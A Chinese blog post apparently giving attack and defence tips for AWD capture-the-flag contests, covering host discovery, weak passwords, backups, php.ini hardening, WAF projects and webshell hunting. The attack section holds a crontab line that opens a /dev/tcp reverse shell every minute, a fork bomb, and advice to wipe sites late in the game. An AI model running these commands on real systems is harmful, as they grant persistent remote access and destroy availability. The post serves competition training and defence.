AWD攻击与防御

攻击

主机发现

如果官方没公开靶机地址(通常不会给),则攻击手首先要做的事就是先找到每个主机地址和端口

用工具或者自己的脚本都行,不过建议提前准备好脚本,现场写会慢一点可能还会出问题

弱口令

ssh弱口令
可能会有些队伍没有改

web弱口令
一般在后台登录处,或者phpmyadmin之类的服务

代码审计

代码审计是攻防一体的工作,当发现漏洞时,进攻的同时跟防守的队友商讨如何修复

预留后门
某些地市级awd比赛为了降低难度一般会设置一句话木马,注意第一时间删除然后用脚本去批量打其他主机

其他漏洞

将源码下载到本地,先用D盾或者河马等扫描工具大概扫描下,在深入挖掘漏洞

权限维持

不死马

参考文章:AWD不死马与克制方法

内核漏洞提权

1
https://github.com/The-Z-Labs/linux-exploit-suggester

crontab写定时任务

1
2
//每分钟反弹shell到 127.0.0.1的5353端口
(crontab -l;printf "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/5353 0>&1'\n")|crontab -

搅屎

1:到最后一轮时,该拿完的flag拿到时可以进行删站,无限复制等操作

2:fork炸弹

1
2
##!/bin/sh
/bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa;

防御

web防御

ssh登录

ssh命令登录或者使用图形化工具连接

1
2
3
4
5
//ssh连接
ssh -p 2222 ctf@xx.xx.xx.xx

//免密登录
ssh-copy-id -i ~/.ssh/id_rsa.pub ctf@xx.xx.xx.xx

备份源码

比赛一开始就需要有一个队友对网站源码和数据库数据进行备份,如果后续被删站了可以及时恢复

1
2
3
4
5
6
7
8
9
##网址备份
tar -zcvf web.tar.gz /var/www/html

##数据库备份-全部数据
mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql
##数据库备份-指定数据库和表
mysqldump -uroot -proot --databases DB1 DB2 > /tmp/db.sql
##数据库恢复(mysql终端下执行)
source /tmp/db.sql

改密码

ssh密码
如果发现拿到的ssh密码不是类似于SDs2dKJaH5hs的随机强口令,而是类似于ctf/123456,则需要更改ssh密码

1
passwd

web后台密码
一般题目大概率是一个cms或者自己写的网站,那么后台就有可能存在弱口令,需要修改

mysql密码
mysql密码是很多队伍会忽略的地方,当然也同样重要。改完要注意cms中的配置文件,不然可能会导致cms连不上数据库而崩溃

1
2
3
4
5
6
7
8
9
10
11
12
##方法一(mysql终端下执行)
show databases;
use mysql
set password for root@localhost = password('123');

##方法二(mysql终端下执行)
update user set password = PASSWORD('需要更换的密码') where user='root';
flush privileges;
show tables;

##方法三
mysqladmin -u用户名 -p旧密码 password 新密码

代码审计

一般先用D盾,河马等工具扫一遍,发现一句话木马等较明显的漏洞,再用seay等或手动分析,或者可以找找历史漏洞cve等

找到漏洞后根据漏洞的种类进行修复

1:删站
不建议。如果参赛手册中没有明确禁止,这是最简单粗暴的姿势

2:删页面
只要删掉有漏洞的页面就行了,比如删后台登录页面、注册页面、上传页面等等

3:破坏正常功能
如果手册中规定了不能删除任何页面,则可以让这些漏洞点的功能函数失效

4:正常修补手段
如加白名单,字符过滤转义,设置open_basedir等,有权限还可以修改php.ini,改完记得重启

1
2
3
4
5
6
7
8
9
10
11
12
;禁用危险函数
disable_functions = exec,system,shell_exec,popen,passthru,pcntl_exec,phpinfo

;预防sql注入
magic_quotes_gpc = on

;远程文件包含
allow_url_fopen = off
allow_url_include = off

;重启php服务
service php-fpm restart

上waf

waf也是比较重要的一点。一般可以分为两个类型,一种是只有监控的功能,可以监控流量方便分析其他队的payload,一般比赛的检查都能通过。另一种就是带拦截的防御waf,也称通防,一般比赛不允许使用

几个waf项目

1:AoiAWD
安恒维护的开源项目,需要提前在本机编译,支持web,pwn流量捕获,系统进程监控等
地址:https://github.com/DasSecurity-HatLab/AoiAWD

2:watchbird
通防waf,支持流量转发和替换flag,防御注入,反序列化,rce等漏洞
地址:https://github.com/leohearts/awd-watchbird

shell查杀

对于不死马可以参考我以前写的一篇文章:AWD不死马与克制方法

一些find命令

1
2
3
4
5
6
7
8
##寻找最近20分钟修改过的文件
find /var/www/html -name *.php -mmin -20

##寻找行数最短的文件
find ./ -name '*.php' | xargs wc -l | sort -rg

##关键字查杀
find . -name '*.php' | xargs grep -n 'eval('

查看进程

1
2
3
netstat -nlpt
ps -df
top

杀死进程

1
2
kill -9 PID
killall 名称

别名

经过实践,发现别名似乎在网站上rce执行命令时并不会生效

1
2
3
4
5
6
7
##修改cat的别名
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
alias cat="printf 'flag{%s}' $(date | md5sum | cut -d ' ' -f1)"


##去除别名
unalias -a

pwn防御

打patch

参考:https://q1iq.top/IDA-patch

上通防

现在大部分比赛不允许上通防,因为通防基本可以实现完美防御

通防是通用防御的简称。因为awd里pwn题的形式基本都是运行一个二进制,然后把二进制的流量转发到某个端口,所以如果给这个pwn题加个壳子过滤一下流量,所有带flag的字符串都不允许输出,所有带flag的文件都不允许打开,基本上就没办法攻击了。

以下是几个通防项目

PwnSandboxForCTF:Ptrace,劫持敏感syscall,检查参数过滤敏感字符串

evilPatcher:Seccomp沙盒,劫持syscall,无法过滤指针类参数

pwn_waf:抓取流量、通防、转发、多人转发模式,

LIEF:劫持敏感函数调用,过滤敏感字符串等。对原文件改动较小


AWD攻击与防御
https://www.dr0n.top/posts/6118732e/
作者
dr0n
发布于
2023年5月21日
更新于
2024年3月21日
许可协议